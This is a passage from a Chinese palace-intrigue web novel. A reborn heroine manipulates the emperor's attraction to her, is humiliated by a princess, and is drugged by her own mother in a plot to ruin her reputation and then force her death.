文氏捶打着心口流泪,“可惜,师师替她死了,慎儿也被她给害了。侯爷,难道真让皇帝为这逆女指婚?” “你想说什么?难道不知皇命难违?” 文氏眼角泪光闪闪,看向江慎院子的方向,“可江澜因敢对她哥哥下那样的狠手。她这样的性子,被指婚,定会高嫁,侯爷,您就放心?只怕她得罪婆家,连累侯府!” 靖威侯腮边横肉抖动,“那有什么法子?圣上要指婚,侯府还敢抗旨不从?” “自然不能叫侯府背这个骂名。”文氏眼珠儿微微一转,“我有个娘家侄儿,如今在京,与江澜因年纪相仿,也不嫌她命硬克夫,倒是般配。若先把此事做成,往后就算真有赐婚的旨意下来,咱们也好推脱……” 江澜因做不了太子妃,也做不了皇帝的宠妃,靖威侯对她的婚事没有兴趣。 “你自己看着办就行。只记住一条,不许叫本侯在皇上跟前难做,不然我不饶你。” “是。” 文氏垂下眼睛。 这个罪名,侯府不能背,得让江澜因自己背。 她吩咐身边陪嫁侯嬷嬷,“去云净庵里问问,那种药,还有吗?” 江澜因的性子,文氏这个当娘的岂能不清楚?嫁得好,反倒是害了她。叫她嫁文家男儿,就算是……替师师尽孝了! 另一边。 传旨太监引着江澜因进了宫门,便将她交给坤宁宫的大宫女,自去复命。 大宫女目不斜视,让江澜因和陪她入宫的春枝,等在坤宁宫一座冷僻配殿的檐下。 “且等等,皇后娘娘自会见你。” 说罢,大宫女径自走了。 冬日的冷风吹过檐下,饶是两人穿得厚实,时间长了,也有些受不住。 春枝为江澜因整好身上的棉氅,担忧地压低声音,“小姐,定是郡主告状,皇后娘娘才宣您进宫。让您长久等在此处,皇后娘娘这是在磋磨您吧?” 阴沉的天空中,散下雪粒子,纷纷扬扬的。下雪了。 江澜因扬起脖颈,看着坤宁宫的金色琉璃瓦顶,在暗淡的天光映衬下,依旧那样夺目耀眼。 “不。”她摇摇头,“皇后磋磨人,有的是杀人不见血的手段。她现在不见我,只怕是因为……” 江澜因顿了顿,酒窝里突然盛满了笑意。 “皇上在此。” “小姐,那我们……” 江澜因纤细的手指探出,扯开棉氅的系带。厚重的棉氅落地,露出内里一身白得雪色一般的宫装,迎风而立,裙摆飞扬。 “走,咱们换个地方等。” 江澜因猜对了。 就在她入宫前一刻钟,皇帝驾临坤宁宫。 此刻正坐在暖融融的大殿里。 “嫣然难得进宫一趟,好好儿陪伴皇后,用过晚膳再走。” “是。嫣然馋皇后娘娘的小厨房可馋了许久,今日终于能大快朵颐。”顾嫣然乖巧应道。 逗得顾辰枭展颜一笑。 殿内气氛其乐融融。 顾嫣然几次想窥着机会,向皇帝告江澜因的状,都被何皇后眼神制止。她只得歇了心思,深吸一口气,故作小女儿娇嗔道:“皇伯父,皇后娘娘宫中有一道梅子小酥肉,别处的厨子都做不出来这个味。皇伯父今日也尝尝吧?” 仗着皇帝、皇后对她疼爱,替何皇后邀宠。 皇帝:“嫣然,你很孝顺。” 他张了张口,就要应下。 却听得外间一串脚步声,轻轻的,却有些急。“皇后娘娘,江姑娘她……” 何皇后拧眉,心中不悦。 她今日是借着顾嫣然的怒气,宣江澜因那小贱人入宫敲打。可没想到,皇帝先来了。 何皇后自然以皇帝为先。 有眼色的大宫女应该一早就支开江澜因,让她去风口死等。怎么非赶在这时候冒头? 皇后刚要开口。 顾辰枭语气沉沉:“哪个江姑娘?出了什么事儿?” “……回皇上,是、是靖威侯府的大姑娘,她、她跪晕在坤宁宫门口……” 室内地龙烧出来的融融春意瞬间凝结。 顾嫣然窥着皇帝脸色,不敢说话。 何皇后脸色难看,嘴唇抿成一道直线。 顾辰枭倒笑了一声,“皇后,朕前日才说过,不许江家姑娘再入宫。皇后不记得了?” “皇上,臣妾……” 顾辰枭霍地起身,拂袖而去。 此刻,殿外已飘起鹅毛大雪,没一会儿就盖得天地皆白。 小太监打起暖帘,顾辰枭一出门,一眼就看见—— 苍茫的雪地中,江澜因身子伏在地上。她身上的轻薄的白色衣衫,几乎要被雪吞没,只余一截漆黑的乌发,衬得脸颊白得透明。 她双眼紧闭,睫毛微微颤抖。人昏迷着,依旧紧紧皱着眉,一侧的小虎牙咬着嘴唇,有些痛楚模样。 顾辰枭自己都没察觉,他脚步甚急。 离得近了,瞧见女孩单薄的胸口,尚有上下起伏。 顾辰枭松了口气。 随即心口涌上怒火,“把人带到朕宫里去。” 身后,暖帘再次掀起。 露出何皇后一双通红的眼睛。 这个江澜因…… 皇后已查明,太子头七那一日,皇帝和江澜因在灵堂里,关起门来独处了两个时辰。 不许下人近身伺候。 孤男寡女,两个时辰! 江澜因……她该死!真该死! 见皇后脸色变得难看至极,顾嫣然不敢说话。 冷嬷嬷赶上来,给何皇后披上玄狐皮披风,心疼道:“娘娘,您身份贵重,千万小心身子。” “不必。” 皇后推开冷嬷嬷的手,“去,把皇上落在本宫处的外衫给皇上送回去。你亲自去。” 第12章 她和皇帝一起看避火图? 第十二章 她和皇帝一起看避火图? 鼻端,熟悉的龙涎香香气浮动。 江澜因眼睫微颤,慢慢睁开眼睛。 看清眼前明黄色身影的下一刻,她知道,自己赌对了。 “皇上……” 江澜因怯生生开口,吃力地撑起身子,滚下窄榻。 “臣女、臣女不是有意伤郡主的,臣女认罚。只求皇上,千万勿要再牵连臣女家中。” 她低着头,眼眶红得小兔子一样,精致的小鼻子耸动,不敢哭。 见她醒了,顾辰枭出了口气,淡淡道: “嫣然她没有说你一句不是处。” 江澜因一愣。 倒没想到顾嫣然比自己想象的,竟还多些脑子。 她反应极快,语气急急地接道:“郡主宽仁。可臣女错了,错了就是错了。臣女不敢欺瞒。” 顾辰枭的目光居高临下,看见江澜因的脸颊肿起一小块,唇角也有伤口。 是被掌掴的痕迹。 顾嫣然自幼性子娇纵。想来,江澜因在她手下,没少吃亏。 皇帝皱眉,“朕没兴趣给小丫头断案。嫣然是金枝玉叶,你就算受委屈,也得给朕忍着。” “臣女知道……”江澜因一顿,大大的眼睛里露出惊恐,“不、不是……郡主没有给臣女委屈受,是臣女自己耐不住性子。” 可她越是这样说,皇帝也认定江澜因就是挨了欺负。 “地上凉,别跪着了。起来。” “……是。” 江澜因纤细的手指攥紧裙角,正要起身。 可她刚才在雪地里跪得太久,膝盖没力气。身子还未站直,就一声嘤咛,眼看着要摔倒。 顾辰枭不耐地皱眉。 强健有力的手臂一展,扶住江澜因。可用的力气大了些,江澜因红了眼,“皇上,疼……” 尾音颤颤的,好似猫儿的爪子,在人心口抓了一下。 顾辰枭脸色冷沉下来,“江澜因,你也曾是要做太子准妃的人,你娘没有教过你?” “什、什么?”江澜因瞪大双眼,一脸懵懂。 这单纯的模样儿,一下子叫顾辰枭想起,那日在太子灵前,她是那般生涩…… 根本就是一个什么都不懂,什么都不会的小姑娘。 顾辰枭御极多年,自认不是重欲之人。他后宫人数不多,自贵妃难产而死,尽量做到雨露均沾,对谁都没有偏宠。 可不知为何,一看到江澜因,总想到那日灵前的事,放不下。 心口被一股子热意冲撞。 顾辰枭拧眉,终是松开手。他咳了一声,“朕这次叫你来,是要告诉你。前几天,朕说过,要为你指婚。” 江澜因原本低着头,发颤的手指捋着耳畔的碎发,想要遮住发红的耳尖。 听了这话,她身子微微一晃,勉强稳住。“臣女……记得。臣女也说过,臣女的婚事,全凭皇上做主,臣女绝无一句怨言。” 刚才还娇娇软软的小姑娘,一提到婚事,又倔了上来。 顾辰枭语气重了些,“朕已经为你选好了人。等出了太子百日的孝,你就嫁过去。是镇北王世子。你与世子成亲后,世子回北疆,你还留在京城,也不至叫你离家太远。你觉得如何?” 江澜因心中一动。 她双手垂下,在月白色的薄纱裙摆上抓出痕迹。 看在皇帝眼中,只觉她是羞涩不安。 其实,江澜因是在…… 忍笑。 她忍得十分辛苦,单薄的肩膀一阵阵地发颤。 万没想到,顾辰枭会把她指给镇北王世子! 谁不知道,那位镇北王世子早年在战场上被伤了紧要处,早已不能人事。 婚后,还要世子一人回北疆,把江澜因留在京师。 皇帝这是…… 舍不得她……的身子。 男人,即便贵为九五之尊,也不过是被本能牵引的动物。 既如此,她索性加一把火。 顾辰枭半晌没听到江澜因回答,低头看她。却见大滴大滴的泪水,顺着女孩晶莹剔透的小脸滑下,打湿她胸前衣襟。 “哭什么?不是说,嫁给谁都没有怨言?” 江澜因边流泪,边说:“父皇,不要。” “因因不要、不要嫁给旁人……” 她声音本就清越好听,又夹杂了颤巍巍的哭音。 一张小脸全被泪水浸润,散发着玉石一样的微光。胸口也湿了一小片,愈发紧贴着身子,勾勒出曲线。 顾辰枭只看了一眼,心中躁郁愈浓。 “你……侯夫人真的不曾教过你?” 江澜因抹着眼泪抬头,“教、教臣女什么?” 顾辰枭被这一句顶得眼前一阵发黑。 皇帝本不相信江澜因这个侯府嫡女,太子准妃会对男女之事全然不知。可自灵堂那日后,他差人去私底下查了。 得知侯府对江澜因的教养,确实不甚上心。 只是没想到,竟疏忽到这种地步。 靖威侯夫人这个娘,她当得不称职! “你娘,没给你请教养嬷嬷,没给你看过……避火图?” 江澜因用力咬了一口口中的软肉,疼痛逼退了笑意。 前世,文氏确实什么都没教过她。因为文氏一早就知道,江澜因嫁不进东宫,侯夫人全幅心思,都放在了表姑娘文师师身上,只悉心教养她一个人。 如今,江澜因瞪大了眼睛,摇头,眼泪都甩在了顾辰枭手上。 “那是什么?臣女愚钝,确实不知。皇上有吗?要教臣女现在就看吗?” “你……”顾辰枭咬牙,第一次觉得堂堂九五之尊,对一个小姑娘无可奈何,“这种话,出去后,你不准再说!” 他自以为加重语气,强硬地要把这个话题揭过去。 不想,江澜因委委屈屈地柔声道,“……是,臣女知道。” 又酥又软的声音。 唤醒顾辰枭深处的记忆。 难以抑制地想起,他第一次看避火图的时候,体内腾起的燥热,根本不受理智约束。 就只是,想要…… 想要掠夺,想要占有。 “……皇上?” 反应过来时,顾辰枭发现自己的身子,离江澜因很近。两人几乎紧紧贴着。 小姑娘脸色苍白,樱唇因受惊而大张着。 然后,一点点桃红色,自面颊渲染上来。把整个人都蒸得热气腾腾…… 江澜因颤巍巍抬头,正撞在皇帝黝黑深沉的眸色中。 “避火图,你当真想看?” 第13章 把她赶出宫去,狼狈不堪 第十三章 把她赶出宫去,狼狈不堪 明黄色袖角微颤,龙涎香香气浓郁。 呛得江澜因眼前一阵发晕。 恍惚间,已看到顾辰枭逼近过来。男人眼底,没了理智的禁锢,被最原始的欲求染成深暗色。 两人呼吸交缠。 御书房外,一道嗓音突然地响起: “皇后娘娘差老奴送这要紧物件儿过来,你岂敢拦着?” 顾辰枭动作一顿。 眸子深处的欲火,点染上了怒意。 他听出这声音,是皇后身边的冷嬷嬷。在宫里做老了事的奴婢,胆敢这时候打扰他,定是得了皇后的授意。 暖帘外,御书房的太监低声拦着。 冷嬷嬷却豁出去了,大声道:“这外衫是皇上的稀罕物儿,前头贵妃留下的东西。若撕扯坏了,你们有几条命,能担当得起?” 江澜因能感觉到,男人搭在她后腰上的手一僵。 是想起了早逝的何贵妃,皇后的庶姐,太子的亲娘。 顾辰枭缓缓松开了手。 冷声道:“把东西呈上来。” “是。” 门外淅淅索索的一阵声响后,暖帘一掀,进来的是冷嬷嬷。 她垂着头,一眼都不看江澜因,双手捧着托盘里的外衫,行到皇帝跟前跪下。 江澜因细看去。是一件旧衫,宝蓝色织金锦缎制成。袖口处,有些许小磨损,又用针线细细补过。不细看,看不出来。 “皇上这外衫留在坤宁宫有些时候,只因这料子本就是外邦进贡,与咱们地产的金线配不上。皇后娘娘近日才得了一模一样的丝线,那丝线比头发丝儿还细,娘娘秉灯,熬了三个晚上,方才缝补好了,急着差老奴给皇上送过来。” 说着,将那衣衫高高举过头顶。 连袍角金线绣着的太狮少狮嬉戏图,江澜因都能看得清清楚楚。 何皇后此番可真是,煞费苦心。 送来一件旧衣,就叫皇帝想起已故的贵妃和爱子,还能念着她这个皇后的好,让皇帝心生愧疚。 御书房内,沉寂了半晌。 男人修长有力的指节蜷了蜷,终是松开,伸向那件衣服。 江澜因垂下睫毛,掩住眸光。 皇帝的一颗心,又重新偏向了死去的太子。 今天,他不会要她了。 果然,冷嬷嬷退下后,顾辰枭一眼都没再看江澜因。 “来人,送江姑娘出去。” 连一件厚实点的衣裳,都没想到要给江澜因披上。 出了御书房,等在檐下的春枝赶上来,“小姐……” 江澜因摇了摇头。 春枝垂下眼,满脸愧疚,“对不起小姐,那冷嬷嬷来时,奴婢没拦住……” “傻子,她是这宫中的嬷嬷,代表的是皇后的颜面。你一个侯府的丫鬟,你怎么拦,不要命了?” 江澜因顿了顿,眸色越深,“再说,能叫冷嬷嬷直闯到御前,说明这御书房里,有皇后的人。何家的手,伸得真长啊。” “小姐,那我们怎么办?” 不等江澜因说话,太监李渔赶过来:“江姑娘,皇上叫咱家送您出宫。” 李渔引着江澜因主仆到背人处。 江澜因开口:“李公公,恭喜你高升。” 李渔顿了顿,面上现出笑来,“托了江姑娘的福,咱家如今也调出东宫,在御前行走。也是皇上感念太子,不忍苛待太子身后留下的旧人。” 见左右无人,他压低了嗓音,凑过来道:“好姑娘,咱家劝你一句。那镇北王府,是个好去处。皇上也是千挑万选选出来的。” 江澜因一个不入流的侯府嫡女,先太子遗留下来的准妃,能嫁进镇北王府做世子妃,已是不易。 她不该再有旁的妄想。 “江姑娘,这恩宠有没有啊,不在于您人在哪儿,是什么人的妻房。单只看,你在圣心中有多大分量。您哪,可千万别犯糊涂。” 李渔看来,这是江澜因极好的一条出路。 皇帝肯把她金屋藏娇,她还愁往后不荣华吗? “呵……” 江澜因极轻地笑了一声。 皇帝要了她的身子,食髓知味舍不得,又恐史书工笔,说他父夺子妻。 才想出了这么个法子。 比让她做外室,还羞辱人。让她江澜因一辈子见不得光,见不得人。 还说是宠她,为她着想。 皇权的虚伪专治,只叫江澜因恶心。 皇帝为了颜面,不让她入宫。她偏不肯。她定要堂堂正正、风风光光地,一步一步走进来,走到最高处去。 把所有人,包括顾辰枭的颜面,都踩在脚下。 “沙、沙……” 裙摆拖曳在雪上,声音倏地一停。 江澜因抬头,才发觉自己刚才想得出神,冷不防被一队侍卫拦住了前路。春枝扶住她。 李渔连忙上前,“什么人?看清楚了,咱家是奉皇命,送人出宫。” “什么腌臜东西,也配叫皇伯父身边的太监送!” 顾嫣然尖锐的嗓音响起。 她从侍卫身后转出,居高临下,冷冷看向江澜因,眼中全是恨意。 “你这贱婢,在家中不规矩,还竟胆敢闹到宫中来?”她见江澜因一身白裙,弱柳扶风的模样,愈发生气,“来人!她不是就愿意穿得轻薄吗?把她这身狐狸皮给本郡主扒了!本郡主要替皇后娘娘出这一口恶气!” “是!” 打头的侍卫一把推开李渔,朝江澜因直逼过来。 “郡主,您不能!您不能啊!” 春枝挡在江澜因身前。 被侍卫当胸一脚,踹在一边。还爬过来要护着江澜因。 就在要闹起来的当口。 一个小太监远远地飞奔过来,“皇后娘娘懿旨,住手!快住手!” 他跑到顾嫣然身边,压低声音苦劝。 顾嫣然才恨恨地瞪了江澜因一眼,向侍卫道:“皇后娘娘仁慈,竟不肯罚她。” 侍卫们停了手,被收束回顾嫣然身后。 江澜因裙摆被撕开两道口子,露出里面月白色内裙来。 春枝解了自己外衫,哭着挡在江澜因身上。 江澜因身子打着细细的寒战。 一双亮闪闪的眸子,透过风雪,直直盯着顾嫣然。眼中冷意,比风雪更甚。 江澜因以为重生一世,她不会在乎体面、尊荣……这些外在虚幻的东西,不会为它们所累。 可她不在乎,不意味着外人可以肆意凌辱。 顾嫣然这笔账,她今日记下了。 对上江澜因目光,不知为何,顾嫣然想起了幼时见过的一匹母狼。她上前挑逗,差点被狼咬死,丧了命。 一定是风太冷了。 不然,自己怎会平白打了个寒战。 顾嫣然一扬下颌,“本郡主今日放过你,你还不服?好好好,既然你还敢挑衅本郡主,我就罚你在这里跪满一个时辰,再出宫!” 她看了一眼身旁的小太监,“本郡主罚她不懂规矩,皇后娘娘总不会怪罪了吧?” 小太监不敢多说,唯唯诺诺,点头称是。 见江澜因被侍卫压着双肩,跪在雪地里,顾嫣然这才觉得心口一股子郁气散尽,转身去了。 一行人走得远了。 李渔才过来,圆胖的脸上满是焦急,“唉!唉!您看这事儿弄的!清河郡主的脾气,您是知道的。皇后娘娘宠她疼她,咱们都得罪不起!” “江姑娘,不然,您就还是……跪着吧。这雪地里凉,您消消火气再出宫,也是好事。” 第14章 她这辈子,别想再入宫! 第十四章 她这辈子,别想再入宫! 坤宁宫中。 地龙呼呼地烧着,热气直往人脸上拱。 何皇后却只觉得心口,一阵阵地发凉。刚才冷嬷嬷回来,把御书房里的状况一五一十说了。 那江澜因果然不是个安分的,胆敢勾引皇帝! 足见灵前的那两个时辰,她也不清白!不然,皇帝怎会叫她“因因”,偏着她,同她亲近? 更叫何皇后觉得心惊的,是…… 她连庶姐生前留下的太狮少狮外衫都祭出来了,皇帝本该念及故去的太子,把江澜因送下去陪他! 结果,什么都没有。 只是悄无声息地送她出宫。 连一句训斥,半点惩戒都没有! 还听说,皇帝要给江澜因重新指婚镇北王世子。婚后,要独留江澜因一个在京。 皇帝打得什么主意,何皇后心里一清二楚。 掩在袖中的手指无声地攥起,将宫装衣袖上的金线刺绣凤羽抓出一道深深的皱痕。 江澜因是个祸害。 不能再留她性命了。 “冷嬷嬷。” “奴婢在。” “江澜因不能在宫里出事,让她赶快出去。” “是,奴婢知道。” “还有,你亲自跟靖威侯说清楚。”何皇后沉吟了片刻,眼中闪过戾光,“他儿子的前程,他女儿的命,他只能选一个。让他把事情做得干净漂亮点。” “是。” 被皇后眼中的冷意所慑,冷嬷嬷深深埋下头去。 一个时辰后。 江澜因回了靖威侯府。 她衣衫狼藉,只能用春枝的外氅盖在身上挡住。因在雪地里跪得时候久,膝盖被雪浸透了,又疼又麻,刺骨的难受。 春枝小心翼翼扶她下了车,一步一步往兰蕤轩挪过去。 靖威侯挡住去路。 “逆女,你还敢回来?” 他蒲扇一般的大手,高高举起,眼看着就要往江澜因脸上招呼。 江澜因看了他一眼。 风吹起面颊两侧的碎发,把江澜因视野分割成几块。每一块,都是靖威侯狰狞逼近的脸。 心口升起一阵躁郁。 在宫里,处处都是顾辰枭的眼睛,江澜因不得不忍。 现在,她不愿忍了。 指间扣着银簪,尖锐的簪头向上。江澜因就要刺向靖威侯掌心。 “侯爷,你这是干什么?干什么啊?” 文氏哭叫着冲出来,一把架住靖威侯手臂,“因因她再怎么,也是你我的女儿,唯一的女儿啊!” 江澜因静静地看着文氏。 文氏保养得宜的脸上,淌下两行泪水,“侯爷,因因在宫中,已经吃过教训了。我再慢慢教她,她会好的。侯爷,妾身求你,别再罚因因。” 她眼睛飞快地打量了一下江澜因,哭叫得更大声:“你瞧她的身子,她哪里还受得住?” 背对着江澜因,她看不到处,文氏飞快地冲靖威侯眨着眼睛。 何皇后身边的冷嬷嬷,刚才已经来过了。 侯府已经做好了选择。 靖威侯吐出一口浊气,恨铁不成钢似得跺脚,“江澜因,你要把爹娘气死!” 他甩开文氏的手,看着她,意有所指,“你是她的娘,如何管教她,你自己拿主意。我还是那句话,不可牵连侯府。” 靖威侯走了。 文氏上前,“因因,你的腿伤了?快,让娘扶着你进去。” 冰凉的手伸过来,隔着衣衫,牢牢攥住江澜因纤细的腕子。 江澜因没有挣开。任她扶着,深一脚浅一脚地踏过庭院中的积雪,走回兰蕤轩。 文氏对她这样亲密,前世也是有过的。 是什么时候呢? 江澜因被扶上床榻。文氏替她指使兰蕤轩的丫鬟,取生姜捣成姜泥,敷在她膝盖上。又生银丝炭,为江澜因盖上厚厚的被子。 将满屋子里的丫鬟都打发出去办差。 文氏坐到江澜因榻边。她白团团的脸上,细细的柳叶眉紧皱着,看上去十足心疼江澜因。 “因因,你的性子太倔了,不像你表妹和软。这下,在宫中可是吃了大亏?娘为你,真是日夜悬心。” 她伸手要去抓江澜因的手。 女孩双手缩回锦被中。 文氏一愣,眼眶红了,“你年纪还太小,不懂娘这都是为了你好。罢了罢了,子女业障都是前世欠下的债,娘如今也管不得你了。” 她回身,亲自从桌案上端过一晚红枣生姜暖汤。 “喝了,驱驱寒。不然真闹了风寒,不是玩笑处。” 甜白瓷葵口碗里,深褐色的汤汁荡出一圈圈涟漪。 生姜的辛辣热气掩映下,隐隐浮着另一股异样的香味,有些熟悉。 汤碗被文氏怼到唇边。 江澜因突然笑了。 她生得五官大气又精致,这一点笑意从樱唇升起,慢慢向上,瞬间点染得整张脸艳若桃李。 却不达眼底。 江澜因想起来了。 前世,她守寡十年后,得知太子和表妹活着回来,心神巨震。 文氏第一次来甘露寺看她。 也是这样满脸心疼地盯着她的眼睛,“娘的好因因,怎么瘦成了这样?快,喝些药酒,好好儿补一补。” “是娘特意为你找人调配的。快,快喝呀。” 原来是那时候,娘待她这般关切,这般亲密。 江澜因脸上笑意愈浓,黑沉的眸中,映出文氏身影。她叫了一声:“娘……” 文氏劝道:“快喝了吧。喝了,也好歇下。你在喝药上,就不如你表妹许多,她多苦都喝得下,你却偏娇气些……唉,娘说这些干什么?你还是快喝。” 她眼中,是几乎要掩不住的急切。 江澜因接过药碗。 “是啊,师师表妹再好,都已经死了,活不过来。”她淡淡地笑着,“娘,往后,你就只有我了。” 文氏微愣。 江澜因将碗中的汤汁,一饮而尽。 入夜,雪还在下,染得天地皆白。 御书房中。 司寝太监捧着红木托盘,里面盛着八只绿头牌,躬身而入。“皇上……” “出去。” 顾辰枭声音冷沉。 他今日没兴趣临幸妃嫔,不打算进后宫。 刚才,那件太狮少狮外衫已经珍而重之地收起来,压在铜脚红木箱中。 皇帝却总觉得这书房中,隐隐浮动着一股子若有若无的香气。 叫人平白有些烦躁。 再二再三地从奏折中抬起头,顾辰枭终是找到了香味来源。是那张窄榻。 江澜因刚才睡过的地方。 皇帝拧眉。手中朱笔一个顿挫,在描金蜡笺纸上,硬是留下一处转折。 那是将靖威侯嫡女赐予镇北侯世子为妻的旨意。 镇北侯世子的身子,皇帝心里一清二楚。他没能耐碰江澜因,又因赐婚,镇北王全家都只能捧着她,供着她。 这样处理最好。 皇帝碰过的女人,别人岂能染指? 朱笔提起,又落下。 顾辰枭飞快写道:婚后,允镇北王世子携妻归北疆戍守。 把江澜因带走吧。 他到底是太子的生父,他不能再见她了。就让她在镇北王府里养着一辈子,也是好的。 御书房暖帘外。 李渔掂了掂袖中的物什。那是刚才江澜因使丫鬟塞给他的一块赤金,重量喜人。 他深吸了一口气,看向室内。 到底不敢自己上前。 “小忠子,你去。务必要把事儿给江姑娘办成了!” 第15章 坏她的清白,再要她的命 第十五章 坏她的清白,再要她的命 小太监脸色微微发白,“干爹,儿子怕……” “怕个屁!” 李渔从身后踹了一脚小忠子,“没用的东西,咱家带携你到御前,是让你平白享福的?还不快去!” 暖帘一阵抖动,发出淅淅索索的轻响。 顾辰枭眉头拧紧,心中烦躁有了宣泄的口子。“狗东西,谁给你的胆子作怪?” 扑通一声。 小忠子从暖帘外扑到地上跪着。他从前在东宫也不过是洒扫太监,刚被李渔带到御前伺候,还不习惯。 一张脸唬得煞白,“皇、皇上,是奴才见外面雪愈发大,怕、怕冷风打透帘子,冲撞龙体。才自作主张换厚实的。惊扰了皇上,奴才该死!该死!” 他趴在地上砰砰地磕头。 倒引得顾辰枭抬头,看了一眼。透过暖帘缝隙,瞧见外面,一团团雪花大似鹅毛一般。 突然想起,江澜因出宫时,身上还是那件单薄的裙装。 领口还被自己给揉皱了…… 顾辰枭拧眉,“李渔。” 得了招呼,李渔打叠起全副精神,小跑着奔过来,“奴才在。” “人好好儿地送出去了?” “……这,自然。” 顾辰枭眉心皱紧,“怎么?” “江姑娘出宫路上,遇见了清河郡主。郡主说、说江姑娘……不安分,叫侍卫撕扯她衣裳,还罚她跪一个时辰。是皇后娘娘拦着,江姑娘才跪了小半个时辰,就出宫去了。” 书房内,针落可稳。 李渔跪着不敢抬头,心里直打鼓。 好半晌,顾辰枭才淡淡道:“嫣然太不懂事了。那,她呢?” 李渔赶忙赔笑,“江姑娘有什么?从头到尾受着,不敢有半句怨言。” 这话一出,皇帝眉头锁得更紧了。 这个江澜因,性子实在是太软和。顾嫣然在宫内欺负她,她都不知反抗,也不敢找自己求助。 这样性子立不起来,将来去了北疆那么远,真能过上好日子? 悬着的朱笔一勾,抹掉最后一行字。 江澜因婚后的去留,他还要再想想。 顾辰枭:“你送江澜因回侯府,可见到她爹娘?” “见到了侯爷。侯爷忠君,拉着奴才说,江姑娘得罪了郡主,挨些罚都是应当的。侯府不敢怨怼,还要谢恩呢。” “啪” 朱笔被重重搁在笔枕上,碰出清脆声响。 顾辰枭只觉心口说不出来的憋闷,不悦。他这个九五之尊,还知道时时处处为江澜因一个小姑娘考虑些,不愿意她多受委屈。 侯府却不把她当回事。 不好好儿教她,把她的性子养得胆小怯懦,哪里像侯府的千金? 江澜因被顾嫣然磋磨过一阵,这么狼狈地出宫,回府不知道又要受多大的委屈! 可…… 此乃侯府家事。就算他是皇帝,把手伸到旁人内宅,终归不美。 下首,李渔抬头,窥着皇帝脸色。 小心翼翼进言:“奴才斗胆,皇上不如赏赐江姑娘些什么。哪怕一套头面儿,一身衣裳,也好叫侯府知道,皇上是看重姑娘的。” 顾辰枭黑沉的目光逼视过来。 李渔浑身肥肉一颤,“是奴才多嘴。请万岁爷责罚。” 不想,顾辰枭只是摇头,“不善。” 御赐的东西进侯府,侯府要开中门,大张旗鼓地迎接,事情闹得大了,反而对江澜因这个未嫁女的名声不好。 那小姑娘,也是要脸面的。 顾辰枭:“再想想。” 李渔眼睛猛地一亮,心中落定。他大着胆子:“奴才听说,老靖威侯是个极忠勇的。当年,老侯爷生病,太祖爷还深夜微服,降临侯府,亲赐汤药。这事情,是后来太祖爷亲口说给身边伺候的近臣听的,不然,只怕谁也不知道。一段君臣佳话,险些湮没无闻。” 皇上今晚格外焦躁。 都是为了那江家嫡女。 她若果真有这份造化,他李渔,就是她最大的功臣。 靖威侯府,兰蕤轩。 文氏走后,春枝跑进来,扑通一声跪在榻边。 她看着江澜因原本苍白的小脸,浮现两团红晕,一双美目也被蒸腾出水气。 春枝哭道:“小姐,兰蕤轩的几个角门儿都叫人从外面顶住了,咱们的人也被夫人抽调出去。如今这院中,只剩下奴婢和雪色两个。雪色打听回来,说夫人连夜请了文家在京的三少爷,人如今已经在府里了。” 雪色随后跟进来,也红了眼眶,“小姐,你、你让奴婢替你吧。” 江澜因身上热意极盛。 她被子盖不住,一扬手想要掀了开去。可身上,一点儿力气都榨不出来。 “文家,三少爷?” 她咬牙笑了,“娘她……真是给我找了个好男人。” 文氏的这个侄儿,是文师师的庶兄。他性子娇纵不成器,还因早年落马,腿落下了残疾。二十好几的年纪,尚未定亲,背地里却养了好几个外室相好。 文氏就找来了这样一个人,要坏江澜因清白。 生怕事情不成,还亲手喂她喝了那种药。 “真是,我的好娘亲。” 江澜因身子重重跌落回榻上,双眼通红通红,被体内的媚药逼出泪意。 雪色也掌不住哭了,“小姐,夫人她这到底是要干什么呀?她怎能这样对你?” 文氏要干什么? 江澜因笑了笑。 前世,她被吊在梁上咽了气后,一缕冤魂,跟了文氏一段日子。 耳听着她哭天抹泪,跟各样人诉苦: “因因这孩子,自幼心量就窄,竟然自戕,也不顾她爹娘该有多难受!” “她不孝!她这是生生剜了我的心去啊!” 明明是她要江澜因死,却把所有错处都推在她身上,咬牙切齿地咒骂她。谎话说得多,连自己都信了。 如今…… 想必也是要先坏了她身子清白,再逼她去死。这样,侯府和文氏都没有责任,解决了江澜因这个大麻烦,还能全身而退。 江澜因只觉眼眶烧得难受,抬起手来,吃力地擦拭着,指尖微湿。 “小姐,你忍一忍,奴婢就是拼死,也带你出去。”雪色咬紧牙关,要拼了。 “不、不必……” 江澜因硬撑着抬手,从雪色发髻上,抽下一枚铜簪,死死攥在手里。 “你们都出去。等会儿,屋里传出什么动静儿,你们都不许过来。” “小姐,那不成!夫人是要害你啊!那文家少爷是什么烂人?岂能让那腌臜东西近小姐的身?”两个丫鬟哭做一团。 她们的小姐怎么就这样命苦? 明明是侯府嫡女,却爹不疼娘不爱。宫里那位,也不眷顾…… 往后,可怎么办? 江澜因想要厉声斥退两个丫鬟,奈何身上没力气。 只得无力地笑了笑,“我既然敢喝那一碗东西,自有我的道理。不会有事的。都下去吧。” 好不容易打发走了两个抽抽搭搭的丫鬟。 江澜因仰面静静躺在榻上。 她的感官被体内都被那媚药催得敏锐至极。 自己口中呼出的热气,身上绸缎的摩擦,无不叫她心里那把火烧得越来越旺。 她忍着,忍着…… 直到—— “吱嘎”一声。 雕花木门被从外推开,一道身影挟着寒风灌入屋内。 江澜因打了个寒战,睁开眼睛。 来人黑色兜帽落下,露出一张猥琐的脸。“因因小表妹,你三哥哥来疼你了!” 江澜因也笑了。 同一时间。 侯府朱漆大门上,青铜兽首铜环被人拍得山响。 “开门!快开门!” “靖威侯,出来迎接贵客!” 第16章 微服出行,捉她的奸? 第十六章 微服出行,捉她的奸? 看清来人,靖威侯惊诧得声音都变了调。 “来人!快中门,快、快来!” 顾辰枭一步跨进侯府,玄色袍角挟着风雪。 “吾皇万岁万岁万万岁!” 江家人密密层层跪了满地。 皇帝一眼扫过去。 没瞧见江澜因。 平身后,靖威侯赶上来,一张脸涨得通红通红,“皇上,臣没想到,真是没想到……这、这天大的荣宠,自臣祖父以降,从未有过。臣心里,真是、真是三生有幸……” 见他晕头晕脑,不知所谓的模样,李渔只得上来分说:“侯爷,皇上是微服出行,不必叫侯府上下这么多人都跟着伺候。只叫最亲近的家里人来,明白了吗?” 几乎是要明示他,皇帝要看江澜因。 靖威侯愣了。 李渔再三给他使眼色,他才反应过来。皇帝为了江澜因微服出宫?这、这是天大的好事啊!难不成,皇帝真要纳江澜因? 可,等等…… 江澜因,她现在…… 靖威侯脸色瞬间骇得煞白。 他窥着空儿,把文氏拉到一边,“皇上是为江澜因来的,你快去叫那边停下,先停下!” 